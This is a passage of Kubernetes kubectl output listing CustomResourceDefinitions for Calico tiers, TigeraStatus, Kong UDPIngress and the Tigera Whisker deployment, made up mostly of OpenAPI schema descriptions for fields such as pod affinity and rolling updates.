    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"tiers.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"Tier","listKind":"TierList","plural":"tiers","singular":"tier"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"TierSpec contains the specification for a security policy tier resource.","properties":{"defaultAction":{"description":"DefaultAction specifies the action applied to workloads selected by a policy in the tier,\nbut not rule matched the workload's traffic.\n[Default: Deny]","enum":["Pass","Deny"],"type":"string"},"order":{"description":"Order is an optional field that specifies the order in which the tier is applied.\nTiers with higher \"order\" are applied after those with lower order.  If the order\nis omitted, it may be considered to be \"infinite\" - i.e. the tier will be applied\nlast.  Tiers with identical order will be applied in alphanumerical order based\non the Tier \"Name\".","type":"number"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 1
    name: tiers.crd.projectcalico.org
    resourceVersion: "6820737"
    uid: 5a123e13-acfd-4b1d-b010-6ba8afbf05fd
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: Tier
      listKind: TierList
      plural: tiers
      singular: tier
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: TierSpec contains the specification for a security policy
                tier resource.
              properties:
                defaultAction:
                  description: |-
                    DefaultAction specifies the action applied to workloads selected by a policy in the tier,
                    but not rule matched the workload's traffic.
                    [Default: Deny]
                  enum:
                  - Pass
                  - Deny
                  type: string
                order:
                  description: |-
                    Order is an optional field that specifies the order in which the tier is applied.
                    Tiers with higher "order" are applied after those with lower order.  If the order
                    is omitted, it may be considered to be "infinite" - i.e. the tier will be applied
                    last.  Tiers with identical order will be applied in alphanumerical order based
                    on the Tier "Name".
                  type: number
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: Tier
      listKind: TierList
      plural: tiers
      singular: tier
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:29Z"
    generation: 1
    name: tigerastatuses.operator.tigera.io
    resourceVersion: "6820603"
    uid: 26f29f4c-4406-4230-b90b-f07b4d797e46
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: TigeraStatus
      listKind: TigeraStatusList
      plural: tigerastatuses
      singular: tigerastatus
    scope: Cluster
    versions:
    - additionalPrinterColumns:
      - description: Whether the component running and stable.
        jsonPath: .status.conditions[?(@.type=='Available')].status
        name: Available
        type: string
      - description: Whether the component is processing changes.
        jsonPath: .status.conditions[?(@.type=='Progressing')].status
        name: Progressing
        type: string
      - description: Whether the component is degraded.
        jsonPath: .status.conditions[?(@.type=='Degraded')].status
        name: Degraded
        type: string
      - description: The time the component's Available status last changed.
        jsonPath: .status.conditions[?(@.type=='Available')].lastTransitionTime
        name: Since
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: TigeraStatus represents the most recently observed status for
            Calico or a Calico Enterprise functional area.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: TigeraStatusSpec defines the desired state of TigeraStatus
              type: object
            status:
              description: TigeraStatusStatus defines the observed state of TigeraStatus
              properties:
                conditions:
                  description: |-
                    Conditions represents the latest observed set of conditions for this component. A component may be one or more of
                    Available, Progressing, or Degraded.
                  items:
                    description: TigeraStatusCondition represents a condition attached
                      to a particular component.
                    properties:
                      lastTransitionTime:
                        description: The timestamp representing the start time for
                          the current status.
                        format: date-time
                        type: string
                      message:
                        description: Optionally, a detailed message providing additional
                          context.
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the generation that the condition was set based upon.
                          For instance, if generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        type: integer
                      reason:
                        description: A brief reason explaining the condition.
                        type: string
                      status:
                        description: The status of the condition. May be True, False,
                          or Unknown.
                        type: string
                      type:
                        description: The type of condition. May be Available, Progressing,
                          or Degraded.
                        type: string
                    required:
                    - lastTransitionTime
                    - status
                    - type
                    type: object
                  type: array
              required:
              - conditions
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: TigeraStatus
      listKind: TigeraStatusList
      plural: tigerastatuses
      singular: tigerastatus
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:31Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:32Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: udpingresses.configuration.konghq.com
    resourceVersion: "413045"
    uid: 3d741fcb-1d1b-4a6c-94e8-a910c620a3ed
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: UDPIngress
      listKind: UDPIngressList
      plural: udpingresses
      singular: udpingress
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: Address of the load balancer
        jsonPath: .status.loadBalancer.ingress[*].ip
        name: Address
        type: string
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: UDPIngress is the Schema for the udpingresses API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Spec is the UDPIngress specification.
              properties:
                rules:
                  description: A list of rules used to configure the Ingress.
                  items:
                    description: |-
                      UDPIngressRule represents a rule to apply against incoming requests
                      wherein no Host matching is available for request routing, only the port
                      is used to match requests.
                    properties:
                      backend:
                        description: |-
                          Backend defines the Kubernetes service which accepts traffic from the
                          listening Port defined above.
                        properties:
                          serviceName:
                            description: Specifies the name of the referenced service.
                            minLength: 1
                            type: string
                          servicePort:
                            description: Specifies the port of the referenced service.
                            format: int32
                            maximum: 65535
                            minimum: 1
                            type: integer
                        required:
                        - serviceName
                        - servicePort
                        type: object
                      port:
                        description: |-
                          Port indicates the port for the Kong proxy to accept incoming traffic
                          on, which will then be routed to the service Backend.
                        format: int32
                        maximum: 65535
                        minimum: 1
                        type: integer
                    required:
                    - backend
                    - port
                    type: object
                  type: array
              type: object
            status:
              description: UDPIngressStatus defines the observed state of UDPIngress.
              properties:
                loadBalancer:
                  description: LoadBalancer contains the current status of the load-balancer.
                  properties:
                    ingress:
                      description: |-
                        Ingress is a list containing ingress points for the load-balancer.
                        Traffic intended for the service should be sent to these ingress points.
                      items:
                        description: |-
                          LoadBalancerIngress represents the status of a load-balancer ingress point:
                          traffic intended for the service should be sent to an ingress point.
                        properties:
                          hostname:
                            description: |-
                              Hostname is set for load-balancer ingress points that are DNS based
                              (typically AWS load-balancers)
                            type: string
                          ip:
                            description: |-
                              IP is set for load-balancer ingress points that are IP based
                              (typically GCE or OpenStack load-balancers)
                            type: string
                          ipMode:
                            description: |-
                              IPMode specifies how the load-balancer IP behaves, and may only be specified when the ip field is specified.
                              Setting this to "VIP" indicates that traffic is delivered to the node with
                              the destination set to the load-balancer's IP and port.
                              Setting this to "Proxy" indicates that traffic is delivered to the node or pod with
                              the destination set to the node's IP and node port or the pod's IP and port.
                              Service implementations may use this information to adjust traffic routing.
                            type: string
                          ports:
                            description: |-
                              Ports is a list of records of service ports
                              If used, every port defined in the service should have an entry in it
                            items:
                              properties:
                                error:
                                  description: |-
                                    Error is to record the problem with the service port
                                    The format of the error shall comply with the following rules:
                                    - built-in error values shall be specified in this file and those shall use
                                      CamelCase names
                                    - cloud provider specific error values must have names that comply with the
                                      format foo.example.com/CamelCase.
                                  maxLength: 316
                                  pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                                  type: string
                                port:
                                  description: Port is the port number of the service
                                    port of which status is recorded here
                                  format: int32
                                  type: integer
                                protocol:
                                  description: |-
                                    Protocol is the protocol of the service port of which status is recorded here
                                    The supported values are: "TCP", "UDP", "SCTP"
                                  type: string
                              required:
                              - error
                              - port
                              - protocol
                              type: object
                            type: array
                            x-kubernetes-list-type: atomic
                        type: object
                      type: array
                      x-kubernetes-list-type: atomic
                  type: object
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: UDPIngress
      listKind: UDPIngressList
      plural: udpingresses
      singular: udpingress
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
    creationTimestamp: "2025-10-19T16:10:31Z"
    generation: 1
    name: whiskers.operator.tigera.io
    resourceVersion: "6820605"
    uid: fbbd4508-ce08-4992-9977-2cbfee4402c3
  spec:
    conversion:
      strategy: None
    group: operator.tigera.io
    names:
      kind: Whisker
      listKind: WhiskerList
      plural: whiskers
      singular: whisker
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                notifications:
                  description: |-
                    Default: Enabled
                    This setting enables calls to an external API to retrieve notification banner text in the Whisker UI.
                    Allowed values are Enabled or Disabled. Defaults to Enabled.
                  type: string
                whiskerDeployment:
                  description: WhiskerDeployment is the configuration for the whisker
                    Deployment.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the Deployment.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the whisker Deployment.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the whisker Deployment.
                            If omitted, the whisker Deployment will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        strategy:
                          description: The deployment strategy to use to replace existing
                            pods with new ones.
                          properties:
                            rollingUpdate:
                              description: |-
                                Rolling update config params. Present only if DeploymentStrategyType =
                                RollingUpdate.
                                to be.
                              properties:
                                maxSurge:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be scheduled above the desired number of
                                    pods.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    This can not be 0 if MaxUnavailable is 0.
                                    Absolute number is calculated from percentage by rounding up.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the new ReplicaSet can be scaled up immediately when
                                    the rolling update starts, such that the total number of old and new pods do not exceed
                                    130% of desired pods. Once old pods have been killed,
                                    new ReplicaSet can be scaled up further, ensuring that total number of pods running
                                    at any time during the update is at most 130% of desired pods.
                                  x-kubernetes-int-or-string: true
                                maxUnavailable:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be unavailable during the update.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    Absolute number is calculated from percentage by rounding down.
                                    This can not be 0 if MaxSurge is 0.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods
                                    immediately when the rolling update starts. Once new pods are ready, old ReplicaSet
                                    can be scaled down further, followed by scaling up the new ReplicaSet, ensuring
                                    that the total number of pods available at all times during the update is at
                                    least 70% of desired pods.
                                  x-kubernetes-int-or-string: true
                              type: object
                          type: object
                        template:
                          description: Template describes the whisker Deployment pod
                            that will be created.
                          properties:
                            metadata:
                              description: Metadata is a subset of a Kubernetes object's
                                metadata that is added to the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the whisker Deployment's PodSpec.
                              properties:
                                affinity:
                                  description: Affinity is a group of affinity scheduling
                                    rules for the whisker pods.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
